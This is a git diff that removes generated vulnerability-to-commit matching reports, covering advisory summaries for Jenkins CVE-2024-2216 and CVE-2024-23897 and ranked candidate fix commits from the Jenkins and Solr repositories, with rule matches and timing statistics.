https://gitbox.apache.org/repos/asf?p=solr.git;h=32b6943c143 ] SOLR-16452 : do not update PRS state if the local version is newer Commit 2a1d7f3492fc8f9a4a6c51c841a5d46c91660758 in solr's branch refs/heads/branch_9_1 from Noble Paul [ https://gitbox.apache.org/repos/asf?p=solr.git;h=2a1d7f3492f ] SOLR-16452 : do not update PRS state if the local version is newer Looks like we need to set cversion to 0 here as well https://github.com/apache/solr/blob/8789520fb13a9b1736d030aefd48dde1fe22bc82/solr/solrj-zookeeper/src/java/org/apache/solr/common/cloud/PerReplicaStatesFetcher.java#L36 Commit 3bdeff0317d0033febf1e321ff86d9b5af65a8ed in solr's branch refs/heads/main from Noble Paul [ https://gitbox.apache.org/repos/asf?p=solr.git;h=3bdeff0317d ] SOLR-16452 : initialize missing PRS with version 0 Commit 872af1d9fca5a8aa21dc366fffad2c9eba1806aa in solr's branch refs/heads/branch_9x from Noble Paul [ https://gitbox.apache.org/repos/asf?p=solr.git;h=872af1d9fca ] SOLR-16452 : initialize missing PRS with version 0 Commit dd8d8c95a5aded2f6dd4e545cd16e99e28c2e33c in solr's branch refs/heads/branch_9_1 from Noble Paul [ https://gitbox.apache.org/repos/asf?p=solr.git;h=dd8d8c95a5a ] SOLR-16452 : initialize missing PRS with version 0 Commit 4c2022975c6c577678eb9cb23431f3bb21d57999 in solr's branch refs/heads/branch_9_1 from Noble Paul [ https://gitbox.apache.org/repos/asf?p=solr.git;h=4c2022975c6 ] SOLR-16452 : CHANGES.txt Commit 43d0c87dceb08b2de4475c1ac4b9c45c321ce0a9 in solr's branch refs/heads/branch_9x from Noble Paul [ https://gitbox.apache.org/repos/asf?p=solr.git;h=43d0c87dceb ] SOLR-16452 : CHANGES.txt Commit 8cf60fb6f8553dfa6d1b474303c8dfac025ffdc6 in solr's branch refs/heads/main from Noble Paul [ https://gitbox.apache.org/repos/asf?p=solr.git;h=8cf60fb6f85 ] SOLR-16452 : CHANGES.txt Bulk closing 9.1 issues. Commit 69b9aed4cd1e7544d5c25b476e1cff1d19b2b2c2 in lucene-solr's branch refs/heads/branch_8_11 from Noble Paul [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=69b9aed4cd1 ] SOLR-16452 : do not update PRS state if the local version is newer" - }, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "releases/lucene-solr/8.11.3" - ], - "matched_rules": [ - { - "id": "CHANGES_RELEVANT_FILES", - "message": "The commit changes some relevant files: solr/solrj/src/java/org/apache/solr/common/cloud/PerReplicaStates.java, solr/solrj/src/java/org/apache/solr/common/cloud/DocCollection.java", - "relevance": 8 - }, - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: version", - "relevance": 4 - }, - { - "id": "BUG_IN_MESSAGE", - "message": "The commit message references some bug tracking ticket: SOLR-16452", - "relevance": 2 - } - ] - }, - { - "commit_id": "4bf6befc32b49fdb2415f25b8159110bbdd4c63f", - "repository": "https://github.com/apache/lucene-solr", - "timestamp": 1698216616, - "hunks": 3, - "message": "Downgrading hsqldb to 2.5.2, since 2.7.x isn't supported by JDK8", - "changed_files": [ - "lucene/ivy-versions.properties", - "solr/licenses/hsqldb-2.5.2.jar.sha1", - "solr/licenses/hsqldb-2.7.1.jar.sha1" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "releases/lucene-solr/8.11.3" - ], - "matched_rules": [ - { - "id": "CHANGES_RELEVANT_FILES", - "message": "The commit changes some relevant files: solr/licenses/hsqldb-2.5.2.jar.sha1, solr/licenses/hsqldb-2.7.1.jar.sha1", - "relevance": 8 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: version", - "relevance": 4 - } - ] - }, - { - "commit_id": "6beb070b12c0f4bd286b5f5c8d12475e37a708fa", - "repository": "https://github.com/apache/lucene-solr", - "timestamp": 1698091466, - "hunks": 3, - "message": "Upgrading woodstox-core to 6.5.0", - "changed_files": [ - "lucene/ivy-versions.properties", - "solr/licenses/woodstox-core-6.4.0.jar.sha1", - "solr/licenses/woodstox-core-6.5.0.jar.sha1" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "releases/lucene-solr/8.11.3" - ], - "matched_rules": [ - { - "id": "CHANGES_RELEVANT_FILES", - "message": "The commit changes some relevant files: solr/licenses/woodstox-core-6.4.0.jar.sha1, solr/licenses/woodstox-core-6.5.0.jar.sha1", - "relevance": 8 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: version", - "relevance": 4 - } - ] - }, - { - "commit_id": "5d91111da7de26583346772e65d13ac3a5551da6", - "repository": "https://github.com/apache/lucene-solr", - "timestamp": 1698690062, - "hunks": 2, - "message": "Adding DOAP for previous release (8.11.2)", - "changed_files": [ - "dev-tools/doap/lucene.rdf", - "dev-tools/doap/solr.rdf" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "releases/lucene-solr/8.11.3" - ], - "matched_rules": [ - { - "id": "CHANGES_RELEVANT_FILES", - "message": "The commit changes some relevant files: dev-tools/doap/solr.rdf", - "relevance": 8 - } - ] - }, - { - "commit_id": "c61a410206a004b212b3a2ba681e32dd84e4f94f", - "repository": "https://github.com/apache/lucene-solr", - "timestamp": 1664257053, - "hunks": 1, - "message": "Changing releaseWizard's England reference to UK", - "changed_files": [ - "dev-tools/scripts/releaseWizard.py" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "releases/lucene-solr/8.11.3" - ], - "matched_rules": [] - } - ], - "processing_statistics": { - "core": { - "retrieval of commit candidates": { - "execution time": [ - 0.024535542353987694 - ] - }, - "git": { - "git": { - "Git": { - "create_commits": { - "execution time": [ - 0.024337105453014374 - ] - } - } - } - }, - "candidates": 41, - "commit preprocessing": { - "execution time": [ - 0.05642258562147617 - ] - }, - "candidates analysis": { - "execution time": [ - 0.39474255219101906 - ] - }, - "save commits to backend": { - "execution time": [ - 0.035546787083148956 - ] - }, - "execution time": [ - 2.898259360343218 - ] - }, - "rules": { - "active": [ - 17 - ], - "matches": [ - 167 - ] - }, - "LLM": { - "repository_url": { - "execution time": [ - 1.6644545588642359 - ] - }, - "commit_classification": { - "execution time": [ - 0.01796558126807213, - 0.01641824096441269, - 0.016320083290338516, - 0.01595654897391796, - 0.016012050211429596, - 0.015059169381856918, - 0.015486914664506912, - 0.016056111082434654, - 0.015338368713855743, - 0.015717919915914536 - ] - } - } - } -} \ No newline at end of file diff --git a/prospector/pipeline/reports/CVE-2024-2216_dadd7e2d-e33b-4fb8-85af-5850284379d9.html b/prospector/pipeline/reports/CVE-2024-2216_dadd7e2d-e33b-4fb8-85af-5850284379d9.html deleted file mode 100644 index 870c27ec7..000000000 --- a/prospector/pipeline/reports/CVE-2024-2216_dadd7e2d-e33b-4fb8-85af-5850284379d9.html +++ /dev/null @@ -1,353 +0,0 @@ - - - - - - - - - - - - - - - - Prospector Report - - - - -
    -
    -
    - - - -
    -

    Advisory Record

    - CVE-2024-2216
    -

    A missing permission check in an HTTP endpoint in Jenkins docker-build-step Plugin 2.11 and earlier allows attackers with Overall/Read permission to connect to an attacker-specified TCP or Unix socket URL, and to reconfigure the plugin using the provided connection test parameters, affecting future build step executions.

    - - -
    Possible relevant files/methods
    -

    -

      - -
    • attacker-specified
    • - -
    • docker-build-step
    • - -
    • HTTP
    • - -
    • TCP
    • - -
    • URL
    • - -
    -

    - - -
    Other relevant keywords
    -

    - -

  • affect
  • - - -
  • allow
  • - - -
  • attacker
  • - - -
  • build
  • - - -
  • check
  • - - -
  • connect
  • - - -
  • connection
  • - - -
  • docker
  • - - -
  • endpoint
  • - - -
  • execution
  • - - -
  • http
  • - - -
  • jenkins
  • - - -
  • overall
  • - - -
  • parameter
  • - - -
  • permission
  • - - -
  • plugin
  • - - -
  • provide
  • - - -
  • read
  • - - -
  • reconfigure
  • - - -
  • socket
  • - - -
  • specify
  • - - -
  • step
  • - - -
  • test
  • - - -
  • unix
  • - - -

    - -
    - - - -
    -
    -
    Execution Statistics
    - -
    -
    -
    • core
      • retrieval of commit candidates
        • execution time = 0.003344 seconds
      • git
        • git
          • Git
            • create_commits
              • execution time is a list of numbers
                • average = 0.0015705777332186699 seconds
                • deviation = 0.0022062070783501154 seconds
                • median = 0.0015705777332186699 seconds
                • count = 2
                • sum = 0.0031411554664373398 seconds
      • candidates = 0 commits
      • commit preprocessing
        • execution time = 0.0001345 seconds
      • candidates analysis
        • execution time = 0.02728 seconds
      • execution time = 1.994 seconds
    • rules
      • active = 17 rules
      • matches = 0 matches
    • LLM
      • repository_url
        • execution time = 1.602 seconds
    -
    -
    - -
    - -
    -
    -
    -
    -

    Prospector Report

    -
    - - -
    -
    - -
    -
    -
    -
    -
    - - - - - - - - - - \ No newline at end of file diff --git a/prospector/pipeline/reports/CVE-2024-2216_dadd7e2d-e33b-4fb8-85af-5850284379d9.json b/prospector/pipeline/reports/CVE-2024-2216_dadd7e2d-e33b-4fb8-85af-5850284379d9.json deleted file mode 100644 index 4a5e671f2..000000000 --- a/prospector/pipeline/reports/CVE-2024-2216_dadd7e2d-e33b-4fb8-85af-5850284379d9.json +++ /dev/null @@ -1,144 +0,0 @@ -{ - "parameters": { - "vulnerability_id": "CVE-2024-2216", - "repository_url": "https://github.com/jenkinsci/jenkins", - "version_interval": "None:None", - "use_backend": "always", - "backend_address": "http://backend:8000", - "git_cache": "/data/gitcache", - "limit_candidates": 2000, - "use_llm_repository_url": true, - "enabled_rules": [ - "VULN_ID_IN_MESSAGE", - "XREF_BUG", - "XREF_GH", - "COMMIT_IN_REFERENCE", - "VULN_ID_IN_LINKED_ISSUE", - "CHANGES_RELEVANT_FILES", - "CHANGES_RELEVANT_CODE", - "RELEVANT_WORDS_IN_MESSAGE", - "ADV_KEYWORDS_IN_FILES", - "ADV_KEYWORDS_IN_MSG", - "SEC_KEYWORDS_IN_MESSAGE", - "SEC_KEYWORDS_IN_LINKED_GH", - "SEC_KEYWORDS_IN_LINKED_BUG", - "GITHUB_ISSUE_IN_MESSAGE", - "BUG_IN_MESSAGE", - "COMMIT_HAS_TWINS", - "COMMIT_IS_SECURITY_RELEVANT" - ] - }, - "advisory_record": { - "cve_id": "CVE-2024-2216", - "description": "A missing permission check in an HTTP endpoint in Jenkins docker-build-step Plugin 2.11 and earlier allows attackers with Overall/Read permission to connect to an attacker-specified TCP or Unix socket URL, and to reconfigure the plugin using the provided connection test parameters, affecting future build step executions.", - "reserved_timestamp": 1709721648, - "published_timestamp": 1709744512, - "updated_timestamp": 1724696817, - "repository_url": null, - "references": { - "https://www.jenkins.io/security/advisory/2024-03-06/#SECURITY-3200": 2, - "http://www.openwall.com/lists/oss-security/2024/03/06/3": 2 - }, - "affected_products": [ - "HTTP", - "TCP", - "Jenkins", - "Overall", - "Plugin", - "Unix", - "Jenkins docker-build-step Plugin" - ], - "versions": { - "version": "0", - "versionType": "maven", - "lessThanOrEqual": "2.11", - "status": "affected" - }, - "files": [ - "URL", - "HTTP", - "TCP", - "attacker-specified", - "docker-build-step" - ], - "keywords": [ - "read", - "endpoint", - "provide", - "connect", - "step", - "socket", - "docker", - "specify", - "parameter", - "execution", - "plugin", - "permission", - "test", - "attacker", - "http", - "reconfigure", - "unix", - "check", - "allow", - "jenkins", - "affect", - "overall", - "build", - "connection" - ], - "files_extension": [], - "has_fixing_commit": false - }, - "commits": [], - "processing_statistics": { - "core": { - "retrieval of commit candidates": { - "execution time": [ - 0.003343852236866951 - ] - }, - "git": { - "git": { - "Git": { - "create_commits": { - "execution time": [ - 0.003130601719021797, - 1.0553747415542603e-05 - ] - } - } - } - }, - "candidates": 0, - "commit preprocessing": { - "execution time": [ - 0.0001345425844192505 - ] - }, - "candidates analysis": { - "execution time": [ - 0.027280570939183235 - ] - }, - "execution time": [ - 1.993737980723381 - ] - }, - "rules": { - "active": [ - 17 - ], - "matches": [ - 0 - ] - }, - "LLM": { - "repository_url": { - "execution time": [ - 1.6019580904394388 - ] - } - } - } -} \ No newline at end of file diff --git a/prospector/pipeline/reports/CVE-2024-23897_f6df4f22-2cce-453a-80a8-615cc55b8664.html b/prospector/pipeline/reports/CVE-2024-23897_f6df4f22-2cce-453a-80a8-615cc55b8664.html deleted file mode 100644 index 404883357..000000000 --- a/prospector/pipeline/reports/CVE-2024-23897_f6df4f22-2cce-453a-80a8-615cc55b8664.html +++ /dev/null @@ -1,32435 +0,0 @@ - - - - - - - - - - - - - - - - Prospector Report - - - - -
    -
    -
    - - -

    Filters

    -

    - Use the slider to filter out lower relevance scores and the button to collapse or expand all the commits. -

    - -
    -
    - -
    -
    - -
    -
    - - - - -
    -

    Advisory Record

    - CVE-2024-23897
    -

    Jenkins 2.441 and earlier, LTS 2.426.2 and earlier does not disable a feature of its CLI command parser that replaces an '@' character followed by a file path in an argument with the file's contents, allowing unauthenticated attackers to read arbitrary files on the Jenkins controller file system.

    - - -
    Possible relevant files/methods
    -

    -

      - -
    • CLI
    • - -
    • LTS
    • - -
    -

    - - -
    Other relevant keywords
    -

    - -

  • allow
  • - - -
  • argument
  • - - -
  • attacker
  • - - -
  • character
  • - - -
  • command
  • - - -
  • content
  • - - -
  • controller
  • - - -
  • disable
  • - - -
  • feature
  • - - -
  • file
  • - - -
  • follow
  • - - -
  • jenkins
  • - - -
  • parser
  • - - -
  • path
  • - - -
  • read
  • - - -
  • replace
  • - - -
  • system
  • - - -

    - -
    - - - -
    -
    -
    Execution Statistics
    - -
    -
    -
    • core
      • retrieval of commit candidates
        • execution time = 0.07204 seconds
      • git
        • git
          • Git
            • create_commits
              • execution time = 0.07178 seconds
      • candidates = 374 commits
      • commit preprocessing
        • execution time = 0.1953 seconds
      • candidates analysis
        • execution time = 0.3381 seconds
      • save commits to backend
        • execution time = 0.0271 seconds
      • execution time = 4.142 seconds
    • rules
      • active = 17 rules
      • matches = 507 matches
    • LLM
      • repository_url
        • execution time = 2.521 seconds
      • commit_classification
        • execution time is a list of numbers
          • average = 0.015671539306640624 seconds
          • deviation = 0.0009950940473344582 seconds
          • median = 0.015595347620546818 seconds
          • count = 10
          • sum = 0.15671539306640625 seconds
    -
    -
    - -
    - -
    -
    -
    -
    -

    Prospector Report

    -
    - - -
    -
    - -
    - -
    -
    -
    -
    -
    - [JENKINS-72532] CLI `-noCertificateCheck` does not work with... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 50 -
    - -
    -
    -
    - - Tag: jenkins-2.444 -
    -
    -
    -
    -
    - - - - RELEVANT_WORDS_IN_MESSAGE - - CHANGES_RELEVANT_CODE - - GITHUB_ISSUE_IN_MESSAGE - - COMMIT_IS_SECURITY_RELEVANT - - -
    -
    -
    -
    - - - - -
    -
    -
    - 48f0f923d54bc43358e458874a6cf4e42cc875df -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message contains some relevant words: CLI
      -
    • - -
    • -
      The commit modifies code containing relevant filename or methods: CLI
      -
    • - -
    • -
      The commit message references some github issue: 8852
      -
    • - -
    • -
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [JENKINS-72532] CLI `-noCertificateCheck` does not work with `-webSocket` (#8852)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - cli/src/main/java/hudson/cli/CLI.java - - cli/src/main/java/hudson/cli/CLIConnectionFactory.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [SECURITY-3314] - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 46 -
    - -
    -
    -
    - - Tag: jenkins-2.426.3 -
    -
    -
    -
    -
    - - - - CHANGES_RELEVANT_CODE - - ADV_KEYWORDS_IN_FILES - - COMMIT_HAS_TWINS - - COMMIT_IS_SECURITY_RELEVANT - - -
    -
    -
    -
    - - - - -
    -
    -
    - a74865391d697f171cdfa977a956e8b96e0b0336 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit modifies code containing relevant filename or methods: CLI
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: command
      -
    • - -
    • -
      This commit has one or more twins.
      -
    • - -
    • -
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [SECURITY-3314]
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/java/hudson/cli/CLICommand.java - - core/src/main/java/hudson/cli/declarative/CLIRegisterer.java - -
    • -
    - - -
    Commit twins
    - - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [SECURITY-3314] (cherry picked from commit... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 44 -
    - -
    -
    -
    - - Tag: jenkins-2.440.1 -
    -
    -
    -
    -
    - - - - CHANGES_RELEVANT_CODE - - ADV_KEYWORDS_IN_FILES - - COMMIT_IS_SECURITY_RELEVANT - - -
    -
    -
    -
    - - - - -
    -
    -
    - 3e876d4c0c14b1a421799a9c69ced6124ad21af4 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit modifies code containing relevant filename or methods: CLI
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: command
      -
    • - -
    • -
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [SECURITY-3314] (cherry picked from commit 554f03782057c499c49bbb06575f0d28b5200edb)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/java/hudson/cli/CLICommand.java - - core/src/main/java/hudson/cli/declarative/CLIRegisterer.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [JENKINS-72469] Avoid repeated tool downloads from misconfigured... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 44 -
    - -
    -
    -
    - - Tag: jenkins-2.426.3 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - COMMIT_HAS_TWINS - - GITHUB_ISSUE_IN_MESSAGE - - COMMIT_IS_SECURITY_RELEVANT - - -
    -
    -
    -
    - - - - -
    -
    -
    - 987b147ba2ec0ddb635bb9c862695426b540d06e -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: read, content, controller, path, file, system
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: file, path
      -
    • - -
    • -
      This commit has one or more twins.
      -
    • - -
    • -
      The commit message references some github issue: 8814
      -
    • - -
    • -
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [JENKINS-72469] Avoid repeated tool downloads from misconfigured HTTP servers (#8814) * [JENKINS-72469] Avoid repeated tool downloads from misconfigured HTTP servers The Azul Systems content delivery network stopped providing the last-modified header in their URL responses. They only provide the ETag header. Add ETag support to the Jenkins FilePath URL download method so that if ETag is provided, we use the ETag value. If last-modified is provided and matches, we continue to honor it as well. https://issues.jenkins.io/browse/JENKINS-72469 has more details. https://community.jenkins.io/t/job-stuck-on-unpacking-global-jdk-tool/11272 also includes more details. Testing done * Automated test added to FilePathTest for code changes on the controller. The automated test confirms that even without a last-modified value, the later downloads are skipped if a matching ETag is received. The automated test also confirms that download is skipped if OK is received with a matching ETag. No automated test was added to confirm download on the agent because that path is not tested by any of the other test automation of this class. * Interactive test with the Azul Systems JDK installer on the controller. I created a tool installer for the Azul JDK. I verified that before this change it was downloaded each time the job was run. I verified that after the change it was downloaded only once. * Interactive test with the Azul Systems JDK installer on an agent. I created a tool installer for the Azul JDK. I verified that before this change it was downloaded each time the job was run. I verified that after the change it was downloaded only once. * Interactive test on the controller with a file download from an NGINX web server confirmed that the tool is downloaded once and then later runs of the job did not download the file again. * Use equals instead of contains to check ETag Don't risk that a substring of an earlier ETag might cause a later ETag to incorrectly assume it does not need to download a modified installer. * Use weak comparison for ETag values https://httpwg.org/specs/rfc9110.html#field.etag describes weak comparison cases and notes that content providers may provide weak or strong entity tags. Updated code to correctly compare weak and strong entity tags. Also improves the null checks based on the suggestions from @mawinter69 in https://github.com/jenkinsci/jenkins/pull/8814#discussion_r1438909824 * Test comparison of weak and strong validators * Do not duplicate test args, more readable * Use better variable names in test Cover more branches in the equalEtags method as well * Fix variable declaration order (cherry picked from commit c8156d41f2e6abf52b41669287e9ab771080b8e4)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/java/hudson/FilePath.java - -
    • -
    - - -
    Commit twins
    - - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [JENKINS-72833] Do not attempt to self-`exec` on systems without... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 42 -
    - -
    -
    -
    - - Tag: jenkins-2.449 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - COMMIT_IS_SECURITY_RELEVANT - - -
    -
    -
    -
    - - - - -
    -
    -
    - 434bf2b0f8a7181af45e66bbab3b3033ea17376b -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: system
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: argument
      -
    • - -
    • -
      The commit message references some github issue: 9025
      -
    • - -
    • -
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [JENKINS-72833] Do not attempt to self-`exec` on systems without `libc` (#9025)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/java/hudson/lifecycle/Lifecycle.java - - core/src/main/java/hudson/lifecycle/UnixLifecycle.java - - core/src/main/java/jenkins/util/JavaVMArguments.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Reduce usage of `StringUtils` (#8999) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 14 -
    - -
    -
    -
    - - Tag: jenkins-2.448 -
    -
    -
    -
    -
    - - - - CHANGES_RELEVANT_CODE - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 3c042d12b836e21c8e566294f168faa29d9d8d95 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit modifies code containing relevant filename or methods: CLI
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: file, path, system
      -
    • - -
    • -
      The commit message references some github issue: 8999
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Reduce usage of `StringUtils` (#8999)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - cli/src/main/java/hudson/cli/CLI.java - - core/src/main/java/hudson/FilePath.java - - core/src/main/java/hudson/Functions.java - - core/src/main/java/hudson/PluginManager.java - - core/src/main/java/hudson/model/Computer.java - - core/src/main/java/hudson/model/DirectoryBrowserSupport.java - - core/src/main/java/hudson/model/TopLevelItemDescriptor.java - - core/src/main/java/hudson/model/User.java - - core/src/main/java/hudson/model/View.java - - core/src/main/java/hudson/model/ViewDescriptor.java - - core/src/main/java/hudson/security/SecurityRealm.java - - core/src/main/java/hudson/tasks/BuildTrigger.java - - core/src/main/java/hudson/tasks/Maven.java - - core/src/main/java/hudson/triggers/SCMTrigger.java - - core/src/main/java/hudson/util/io/ZipArchiver.java - - core/src/main/java/jenkins/install/InstallState.java - - core/src/main/java/jenkins/install/InstallUtil.java - - core/src/main/java/jenkins/model/AssetManager.java - - core/src/main/java/jenkins/model/ProjectNamingStrategy.java - - core/src/main/java/jenkins/security/ApiTokenProperty.java - - core/src/main/java/jenkins/security/apitoken/ApiTokenStore.java - - core/src/main/java/jenkins/tasks/filters/impl/RetainVariablesLocalRule.java - - core/src/main/java/jenkins/triggers/ReverseBuildTrigger.java - - core/src/main/java/jenkins/util/SystemProperties.java - - core/src/main/java/jenkins/util/TreeString.java - - core/src/main/java/jenkins/util/VirtualFile.java - - core/src/main/java/org/jenkins/ui/symbol/Symbol.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Merge pull request #9014 from... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: jenkins-2.440.2 -
    -
    -
    -
    -
    - - - - RELEVANT_WORDS_IN_MESSAGE - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - c43a8636bb381797a2e2fe0adebc832d523c4b66 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message contains some relevant words: LTS
      -
    • - -
    • -
      The commit message references some github issue: 9014
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Merge pull request #9014 from krisstern/feat/stable-2.440/backporting-2.440.2-1 Backporting for LTS 2.440.2
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [JENKINS-72540] FilePath.copyRecursiveTo() copying now also if local... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: jenkins-2.449 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 9f68c181de2b710ce6b9f05b09d9475a89ab6fe8 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: read, character, allow, path, file
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: file, path
      -
    • - -
    • -
      The commit message references some github issue: 8860
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [JENKINS-72540] FilePath.copyRecursiveTo() copying now also if local and remote have incompatible character sets at binary level (#8860) * allow specification of achrive's file name encoding in Archiver#create() For JENKINS-72540 only needed for tar, but changed zip for consistency as well. * revise copyRecursiveTo to use same file name encoding locally and remote such that local and remote understand each other Otherwise, if remote is z/OS with native EBCDIC encoding the file names will be in EBCDIC and fails reading
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/java/hudson/FilePath.java - - core/src/main/java/hudson/util/io/ArchiverFactory.java - - core/src/main/java/hudson/util/io/TarArchiver.java - - core/src/main/java/hudson/util/io/ZipArchiver.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - use tabPane to show agent systeminfo extensions (#9006) * use... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: jenkins-2.448 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 3fdda4868a77e21b1a8d7cb625b33a1b19bc917e -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: system
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: system
      -
    • - -
    • -
      The commit message references some github issue: 9006
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      use tabPane to show agent systeminfo extensions (#9006) * use tabPane to show agents systeminfo extensions On an agents systemInfo page, the extensions are displayed in a tabPane Use app-bar for the heading, this removes the icon. This was the only page for an agent where an icon was used in the heading. * don't include js when not connected
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/resources/hudson/slaves/SlaveComputer/systemInfo.jelly - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Cleaning up more FilePath API restrictions (#8924) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: jenkins-2.445 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - b91a57ca201987b20c5333b354b10f44f14271ea -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: file, path
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: file, path
      -
    • - -
    • -
      The commit message references some github issue: 8924
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Cleaning up more FilePath API restrictions (#8924)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/java/hudson/FilePath.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Unrestrict FilePath.isDescendant (#8913) * Unrestrict... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: jenkins-2.444 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 3e6dc60edbdb2293ac35b2059ba1fe864b5f5242 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: file, path
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: file, path
      -
    • - -
    • -
      The commit message references some github issue: 8913
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
